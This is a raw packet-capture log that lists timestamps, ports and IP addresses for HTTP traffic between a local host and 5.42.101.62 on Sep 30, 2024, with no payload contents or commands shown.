Sep 30, 2024 13:59:29.803865910 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.803875923 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.803884983 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.803889990 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.803895950 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.803921938 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.803935051 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.803992987 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.804003954 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.804013968 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.804023981 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.804033995 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.804044008 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.804054022 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.804054976 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.804054976 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.804064989 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.804085016 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.804127932 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.804137945 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.804148912 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.804157972 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.804167986 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.804177046 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.804202080 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.804202080 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.804235935 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.889776945 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.889791012 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.889811993 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.889822006 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.889832973 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.889842987 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.889853954 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.889914989 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.889925957 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.889935970 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.889991045 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.889995098 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.890005112 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.890014887 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.890024900 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.890036106 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.890047073 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.890053034 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.890079021 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.890093088 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.890665054 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.890674114 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.890681028 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.890686035 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.890703917 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.890714884 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.890746117 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.890757084 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.890767097 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.890767097 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.890841961 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.890847921 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.890855074 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.890870094 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.890886068 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.890887022 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.890901089 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.890917063 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.890940905 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.890940905 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.890999079 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.891011000 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.891016006 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.891026020 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.891036987 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.891062021 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.891062021 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.891089916 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.891166925 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.891184092 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.891194105 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.891204119 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.891212940 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.891230106 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.891230106 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.891230106 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.891242981 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.891252995 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.891263008 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.891263008 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.891263008 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.891273975 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.891319990 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.891319990 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.891405106 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.891415119 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.891423941 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.891433954 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.891473055 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.891473055 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.891478062 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.891488075 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.891498089 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.891508102 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.891519070 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.891530037 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.891542912 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.891542912 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.891556025 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.891567945 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.891576052 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.891577005 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.891588926 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.891624928 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.891658068 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.891668081 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.891676903 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.891688108 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.891697884 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.891716957 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.891721010 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.891726971 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.891732931 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.891736984 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.891748905 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.891758919 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.891769886 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.891782999 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.891813993 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.891824007 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.891834021 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.891844988 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.891855001 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.891870022 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.891876936 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.891895056 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.891921997 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.891941071 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.891952038 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.891962051 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.891972065 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.891980886 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.891983032 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.891993999 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.892004967 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.892036915 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.892036915 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.892200947 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.892213106 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.892221928 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.892226934 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.892235041 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.892242908 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.892242908 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.892249107 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.892254114 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.892318010 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.892477036 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.892498016 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.892508030 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.892518044 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.892535925 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.892535925 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.892537117 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.892548084 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.892558098 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.892564058 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.892585993 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.892610073 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.892621040 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.892632008 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.892642021 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.892652035 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.892663002 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.892672062 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.892673016 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.892673016 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.892682076 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.892689943 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.892709017 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.892730951 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.893394947 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.893407106 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.893419981 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.893438101 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.893441916 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.893441916 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.893449068 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.893459082 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.893464088 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.893481970 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.893492937 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.893511057 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.893512011 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.893512964 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.893522978 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.893532991 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.893541098 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.893552065 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.893563032 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.893572092 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.893575907 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.893575907 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.893604994 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.893610001 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.893618107 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.893629074 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.893637896 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.893642902 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.893665075 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.893687010 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.893702984 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.893714905 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.893718004 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.893743038 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.893754005 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.893767118 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.893767118 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.893882036 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.980767965 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.980850935 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.980858088 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.980868101 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.980905056 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.980911016 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.980917931 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.980930090 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.980941057 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.980961084 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.980971098 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.980971098 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.980972052 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.980983019 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.980993986 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.981043100 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.981043100 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.981065035 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.981091976 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.981101990 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.981112957 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.981122017 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.981122971 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.981122971 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.981201887 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.981636047 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.981646061 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.981656075 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.981705904 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.981705904 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.981779099 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.981790066 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.981800079 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.981813908 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.981825113 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.981825113 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.981836081 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.981863976 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.981863976 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.981892109 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.981903076 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.981910944 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.981914043 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.981939077 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.981939077 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.981945992 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.981956959 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.981959105 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.981966972 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.982001066 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.982001066 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.982013941 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.982023954 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.982033968 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.982043982 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.982068062 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.982085943 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.982172012 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.982214928 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.982223034 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.982234955 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.982263088 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.982280016 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.982281923 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.982296944 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.982309103 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.982317924 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.982328892 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.982347012 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.982347012 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.982357025 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.982366085 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.982376099 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.982387066 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.982400894 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.982420921 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.982439995 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.982563972 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.982608080 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.982618093 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.982628107 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.982666016 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.982667923 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.982667923 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.982676983 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.982686996 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.982697010 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.982717991 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.982717991 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.982812881 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.982815981 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.982822895 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.982832909 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.982844114 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.982853889 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.982865095 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.982865095 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.982938051 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.983031034 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.983043909 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.983053923 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.983064890 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.983073950 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.983086109 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.983091116 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.983091116 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.983095884 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.983107090 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.983127117 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.983136892 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.983144045 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.983144045 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.983146906 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.983158112 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.983169079 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.983171940 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.983179092 CEST	80	49721	5.42.101.62	192.168.2.6
